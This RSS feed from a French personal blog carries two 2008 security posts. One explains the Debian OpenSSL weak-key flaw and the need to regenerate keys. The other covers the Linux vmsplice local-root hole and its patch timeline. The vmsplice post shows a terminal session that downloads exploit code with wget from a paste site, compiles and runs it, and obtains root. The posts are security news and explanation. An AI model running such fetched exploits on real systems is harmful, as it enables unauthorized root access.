<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nicoz &#187; faille</title>
	<atom:link href="http://nicoz.olympe-network.com/tag/faille/feed/" rel="self" type="application/rss+xml" />
	<link>http://nicoz.olympe-network.com</link>
	<description></description>
	<lastBuildDate>Fri, 20 Nov 2009 18:11:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>« Chosen by fair dice roll. Guaranteed to be random. »</title>
		<link>http://nicoz.olympe-network.com/2008/05/17/%c2%ab-chosen-by-fair-dice-roll-guaranteed-to-be-random-%c2%bb/</link>
		<comments>http://nicoz.olympe-network.com/2008/05/17/%c2%ab-chosen-by-fair-dice-roll-guaranteed-to-be-random-%c2%bb/#comments</comments>
		<pubDate>Sat, 17 May 2008 17:17:03 +0000</pubDate>
		<dc:creator>Nicoz</dc:creator>
				<category><![CDATA[Informatique]]></category>
		<category><![CDATA[Logiciels Libres]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[OpenSSL]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://nicoz.olympe-network.com/?p=95</guid>
		<description><![CDATA[Il y a quelques jours, la révélation d&#8217;une faille de sécurité critique concernant le paquet openssl de Debian (et dérivés) a jeté un froid sur la banquise linuxienne. Un mainteneur Debian, qui pensait corriger des avertissements signalés par le logiciel Valgrind, a un peu modifié la partie du code concernant la génération des nombres pseudo-aléatoires. [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a quelques jours, la révélation d&#8217;une faille de sécurité critique concernant le paquet openssl de Debian (et dérivés) a jeté un froid sur la banquise linuxienne. Un mainteneur Debian, qui pensait corriger des avertissements signalés par le logiciel Valgrind, a un peu modifié la partie du code concernant la génération des nombres pseudo-aléatoires. Le hic, c&#8217;est qu&#8217;après la manip, les nombres n&#8217;étaient pas ce qu&#8217;on peut qualifier d&#8217;aléatoires. Or c&#8217;est bien d&#8217;un système proche de l&#8217;aléatoire que l&#8217;on a besoin pour la génération de clés ; la modification du code a entraîné une énorme restrictions des clés possibles (seulement 250&nbsp;000 clés possibles, selon linuxfr). Autre point étonnant, la faille existe depuis 2006, donc <strong>toutes les clés et les certificats générés sur la distribution Debian ou ses dérivés (Ubuntu, pour ne citer qu&#8217;elle) depuis cette date ne sont pas sûrs !</strong> Il ne suffit pas de mettre à jour le paquet openssl (le correctif a d&#8217;ailleurs été très rapidement disponible), <strong>il faut changer les clés</strong>. C&#8217;est là que la faille est vicieuse (et sort de l&#8217;ordinaire) : la mise à jour ne suffit pas.</p>
<blockquote><p>→ Il faut remplacer les clés RSA <em>générées</em> avec la version d&#8217;openssh non sûre et les clés DSA <strong>utilisées</strong> avec un système Debian ou dérivé qui utilisait la version incriminée (même si j&#8217;espère que c&#8217;est déjà fait, vu mon temps de réaction <img src='http://nicoz.olympe-network.com/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p></blockquote>
<p>Le trou de sécurité a été révélé le 13 mai, et il ne cesse de faire parler de lui dans les forums, sur les blogs, et dans les listes de diffusions. Il y a une raison à cela ; la faille (qui a vécu 2 ans !) est extrêmement grave, elle met directement en péril la sécurité d&#8217;une distribution réputée qui équipe bon nombre de serveurs. De plus, la mise à jour ne suffit pas à la combler. C&#8217;est une affaire bien sombre qui a secoué la blogosphère libre ces derniers jours, mais qui n&#8217;empêche pas de rigoler : terminons ce billet sur une note d&#8217;humour, mieux vaut en rire qu&#8217;en pleurer !</p>
<p style="text-align: center;"><a href='http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/debian-entropie.jpg'><img src="http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/debian-entropie.jpg" alt="debian-entropie" title="debian-entropie" style="width: 333.33px; height: 195.33px;" /></a><br />
<a href='http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/security_holes.png'><img src="http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/security_holes.png" alt="security_holes" title="security_holes" style="width: 328.67px; height: 251.33px;" class="alignnone size-full wp-image-98" /></a><br />
<a href='http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/dilbert.jpg'><img src="http://nicoz.olympe-network.com/wordpress/wp-content/uploads/2008/05/dilbert.jpg" alt="dilbert" title="dilbert" class="alignnone size-full wp-image-99" style="width: 340px; height: 128.5px;" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://nicoz.olympe-network.com/2008/05/17/%c2%ab-chosen-by-fair-dice-roll-guaranteed-to-be-random-%c2%bb/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Faille dans le noyau Linux.</title>
		<link>http://nicoz.olympe-network.com/2008/02/19/faille-dans-le-noyau-linux/</link>
		<comments>http://nicoz.olympe-network.com/2008/02/19/faille-dans-le-noyau-linux/#comments</comments>
		<pubDate>Tue, 19 Feb 2008 13:36:35 +0000</pubDate>
		<dc:creator>Nicoz</dc:creator>
				<category><![CDATA[Informatique]]></category>
		<category><![CDATA[Logiciels Libres]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[noyau]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://nicoz.olympe-network.com/?p=45</guid>
		<description><![CDATA[Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d&#8217;obtenir les privilèges root en exploitant l&#8217;appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.
La faille
L&#8217;appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet [...]]]></description>
			<content:encoded><![CDATA[<p>Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d&#8217;obtenir les privilèges root en exploitant l&#8217;appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.</p>
<h3>La faille</h3>
<p>L&#8217;appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d&#8217;échanger des données entre deux descripteurs de fichiers. La faille provient de l&#8217;absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.</p>
<p>Cette faille permet à un utilisateur local d&#8217;obtenir les privilèges root, comme le montre ce proof of concept :</p>
<blockquote><p><code>nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c<br />
--13:58:10--  http://paste.ubuntu-nl.org/55587/plain/<br />
=&gt; `vmsplice_exploit.c'<br />
Résolution de paste.ubuntu-nl.org... 81.171.100.21<br />
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.<br />
requête HTTP transmise, en attente de la réponse... 200 OK<br />
Longueur: non spécifié [text/plain]</code></p>
<p><code>[ &lt;=&gt;                                 ] 7 336         --.--K/s</code></p>
<p><code>13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]</code></p>
<p><code>nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c<br />
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit<br />
-----------------------------------<br />
Linux vmsplice Local Root Exploit<br />
-----------------------------------<br />
[+] mmap: 0x0 .. 0x1000<br />
[+] page: 0x0<br />
[+] page: 0x20<br />
[+] mmap: 0x4000 .. 0x5000<br />
[+] page: 0x4000<br />
[+] page: 0x4020<br />
[+] mmap: 0x1000 .. 0x2000<br />
[+] page: 0x1000<br />
[+] mmap: 0xb7e13000 .. 0xb7e45000<br />
[+] root<br />
root@ForteresseDigitale:~#</code></p></blockquote>
<h3>Réactions</h3>
<p>La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. <a href="http://distrowatch.com/weekly.php?issue=20080218">DistroWatch</a> propose un tableau récapitulant le temps de réaction des distributions ;</p>
<table summary="Temps de fixement de la faille vmsplice() par les différentes distributions GNU/Linux" style="border: 1px dashed gray; margin: auto">
<tr>
<th style="border: 1px dashed gray; width: 30%; text-align: center">Distribution</th>
<th style="border: 1px dashed gray; width: 25%; text-align: center">Date / Heure</th>
<th style="border: 1px dashed gray; width: 20%; text-align: center">Délais</th>
<th style="border: 1px dashed gray; width: 25%; text-align: center">Référence</th>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="debian">Debian GNU/Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">11-02-2008 13:58</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+0 heure</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://lists.debian.org/debian-security-announce/debian-security-announce-2008/msg00056.html">DSA 1494-1</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="fedora">Fedora</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">11-02-2008 22:39</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+8 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="https://www.redhat.com/archives/fedora-package-announce/2008-February/msg00255.html">FEDORA-2008-1423</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="slackware">Slackware Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 02:00</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+12 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://www.slackware.com/security/viewer.php?l=slackware-security&amp;y=2008&amp;m=slackware-security.562341">SSA:2008-042-01</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="mandriva">Mandriva Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 07:06</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+19 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://archives.mandrivalinux.com/security-announce/2008-02/msg00018.php">MDVSA-2008:043</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="frugalware">Frugalware Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 11:17</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+21 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://frugalware.org/pipermail/frugalware-security/2008-February/000369.html">FSA-369</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="suse">openSUSE</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 12:43</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+23 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://lists.opensuse.org/opensuse-security-announce/2008-02/msg00005.html">SUSE-SA:2008:007</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="rpath">rPath Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 16:28</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+26 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://lists.rpath.com/pipermail/security-announce/2008-February/000314.html">rPSA-2008-0052-1</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="redhat">Red Hat Enterprise Linux</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 16:54</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+27 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="https://www.redhat.com/archives/enterprise-watch-list/2008-February/msg00005.html">RHSA-2008:0129-01</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="ubuntu">Ubuntu</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">12-02-2008 17:23</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+27 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2008-February/000664.html">USN-577-1</a></td>
</tr>
<tr>
<td style="border: 1px dashed gray; text-align: left; width: 30%"><a href="centos">CentOS</a></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%">13-02-2008 03:27</td>
<td style="border: 1px dashed gray; text-align: center; width: 20%"><strong>+37 heures</strong></td>
<td style="border: 1px dashed gray; text-align: center; width: 25%"><a href="http://lists.centos.org/pipermail/centos-announce/2008-February/014684.html">CESA-2008:012</a></td>
</tr>
</table>
<p>On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.</p>
<p>Pour en savoir plus ;</p>
<ul>
<li><a href="http://lwn.net/SubscriberLink/268783/6928eb6921800e25/">Un article technique de LWN</a>.</li>
<li><a href="http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.24.2">Le changelog de la version 2.6.24.2</a>.</li>
<li>Avis de sécurité : <a href="http://secunia.com/advisories/28835/">Secunia</a> &#8211; <a href="http://www.frsirt.com/bulletins/13382">FrSirt</a> &#8211; <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0009">CVE-2008-0009</a> &#8211; <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0010">CVE-2008-0010</a> &#8211; <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0600">CVE-2008-0600</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://nicoz.olympe-network.com/2008/02/19/faille-dans-le-noyau-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
